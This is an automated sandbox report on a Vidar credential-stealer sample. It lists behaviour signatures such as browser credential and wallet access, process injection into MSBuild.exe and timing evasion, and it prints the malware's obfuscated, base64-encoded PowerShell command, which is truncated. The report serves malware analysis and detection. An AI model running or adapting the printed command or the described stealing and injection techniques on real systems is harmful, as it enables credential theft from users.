Malware Analysis Report

2025-08-10 19:57

Sample ID 250630-wcgm2a1xbx
Target 5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.bin
SHA256 5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd
Tags
vidar 5838abba2c7ca0756153b41aab8534b5 credential_access defense_evasion discovery spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V16

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd

Threat Level: Known bad

The file 5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.bin was found to be: Known bad.

Malicious Activity Summary

vidar 5838abba2c7ca0756153b41aab8534b5 credential_access defense_evasion discovery spyware stealer

Vidar family

Detect Vidar Stealer

Vidar

Uses browser remote debugging

Unsecured Credentials: Credentials In Files

Accesses cryptocurrency files/wallets, possible credential harvesting

Obfuscated Files or Information: Command Obfuscation

Suspicious use of SetThreadContext

Drops file in Windows directory

Browser Information Discovery

Unsigned PE

System Location Discovery: System Language Discovery

Suspicious use of WriteProcessMemory

Suspicious use of FindShellTrayWindow

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Suspicious behavior: EnumeratesProcesses

Modifies registry class

Delays execution with timeout.exe

Suspicious use of AdjustPrivilegeToken

Checks processor information in registry

Modifies data under HKEY_USERS

Enumerates system info in registry

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2025-06-30 17:46

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2025-06-30 17:46

Reported

2025-06-30 17:48

Platform

win10v2004-20250502-en

Max time kernel

129s

Max time network

142s

Command Line

"C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe"

Signatures

Detect Vidar Stealer

stealer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Vidar

stealer vidar

Vidar family

vidar

Uses browser remote debugging

credential_access stealer
Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Unsecured Credentials: Credentials In Files

credential_access stealer

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 680 set thread context of 4128 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Browser Information Discovery

discovery

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\timeout.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Delays execution with timeout.exe

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133957791950124683" C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeShutdownPrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 680 wrote to memory of 4128 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 680 wrote to memory of 4128 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 680 wrote to memory of 4128 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 680 wrote to memory of 4128 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 680 wrote to memory of 4128 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 680 wrote to memory of 4128 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 680 wrote to memory of 4128 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 680 wrote to memory of 4128 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 680 wrote to memory of 4128 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 680 wrote to memory of 4128 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 680 wrote to memory of 4128 N/A C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 4128 wrote to memory of 3192 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4128 wrote to memory of 3192 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 4128 wrote to memory of 5684 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
PID 4128 wrote to memory of 5684 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
PID 3192 wrote to memory of 4632 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4632 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4756 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4924 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4924 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4528 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4528 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4528 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4528 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4528 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4528 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4528 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4528 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4528 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4528 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4528 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4528 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4528 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4528 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe
PID 3192 wrote to memory of 4528 N/A C:\Program Files\Google\Chrome\Application\chrome.exe C:\Program Files\Google\Chrome\Application\chrome.exe

Processes

C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe

"C:\Users\Admin\AppData\Local\Temp\5255d3c35b51e27e3a6104307edb6f32a1521f9892c4c8e7fb50ec97ff4dc7bd.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe"

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe

C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -OutputFormat Text -EncodedCommand "JAB7ADAAeAAxAGEAMgBiADMAYwB9AD0AWwBTAHkAcwB0AGUAbQAuAFIAYQBuAGQAbwBtAF0AOgA6AG4AZQB3ACgAKQA7ACQAewAwAHgANABkADUAZQA2AGYAfQA9ACYAKABbAGMAaABhAHIAWwBdAF0AKAA3ADEALAAxADAAMQAsADEAMQA2ACwANAA1ACwANgA4ACwAOQA3ACwAMQAxADYALAAxADAAMQApAC0AagBvAGkAbgAnACcAKQA6ADoAbgBlAHcAKAApADsAJAB7ADAAeAA3AGcAOABoADkAaQB9AD0AJABuAHUAbABsADsAJAB7ADAAeABqADAAawAxAGwAMgB9AD0AQAAoACkAOwAkAHsAMAB4AG0AMwBuADQAbwA1AH0APQAoAFsAYwBoAGEAcgBbAF0AXQAoADEAMQAxACwAOQA4ACwAOQA5ACwAOQA3ACwAMQAxADYALAAxADAANQAsADEAMQAxACwAMQAxADAAKQAtAGoAbwBpAG4AJwAnACkAOwAkAHsAMAB4AHAANgBxADcAcgA4AH0APQAxAC4ALgAxADAAfAAmACgAWwBjAGgAYQByAFsAXQBdACgANwAwACwAMQAxADEALAAxADEANAAsADYAOQAsADkANwAsADkAOQAsADEAMAA0ACwANAA1ACwANwA5ACwAOQA4ACwAMQAwADYALAAxADAAMQAsADkAOQAsADEAMQA2ACkALQBqAG8AaQBuACcAJwApAHsAJAB7ADAAeAAxAGEAMgBiADMAYwB9AC4ATgBlAHgAdAAoACkAfQA7ACQAewAwAHgAcwA5AHQAMAB1ADEAfQA9ACYAKABbAGMAaABhAHIAWwBdAF0AKAA3ADEALAAxADAAMQAsADEAMQA2ACwANAA1ACwAOAAwACwAMQAxADQALAAxADEAMQAsADkAOQAsADEAMAAxACwAMQAxADUALAAxADEANQApAC0AagBvAGkAbgAnACcAKQB8ACYAKABbAGMAaABhAHIAWwBdAF0AKAA4ADMALAAxADAAMQAsADEAMAA4ACwAMQAwADEALAA5ADkALAAxADEANgAsADQANQAsADcAOQAsADkAOAAsADEAMAA2ACwAMQAwADEALAA5ADkALAAxADEANgApAC0AagBvAGkAbgAnACcAKQAtAEYAaQByAHMAdAAgADMAOwAkAHsAMAB4AHYAMgB3ADMAeAA0AH0APQBbAFMAeQBzAHQAZQBtAC4ARwBDAF0AOgA6AEcAZQB0AFQAbwB0AGEAbABNAGUAbQBvAHIAeQAoACQAZgBhAGwAcwBlACkAOwAkAHsAMAB4AHkANQB6ADYAYQA3AH0APQAoAFsAYwBoAGEAcgBbAF0AXQAoADEAMAA5ACwAMQAxADEA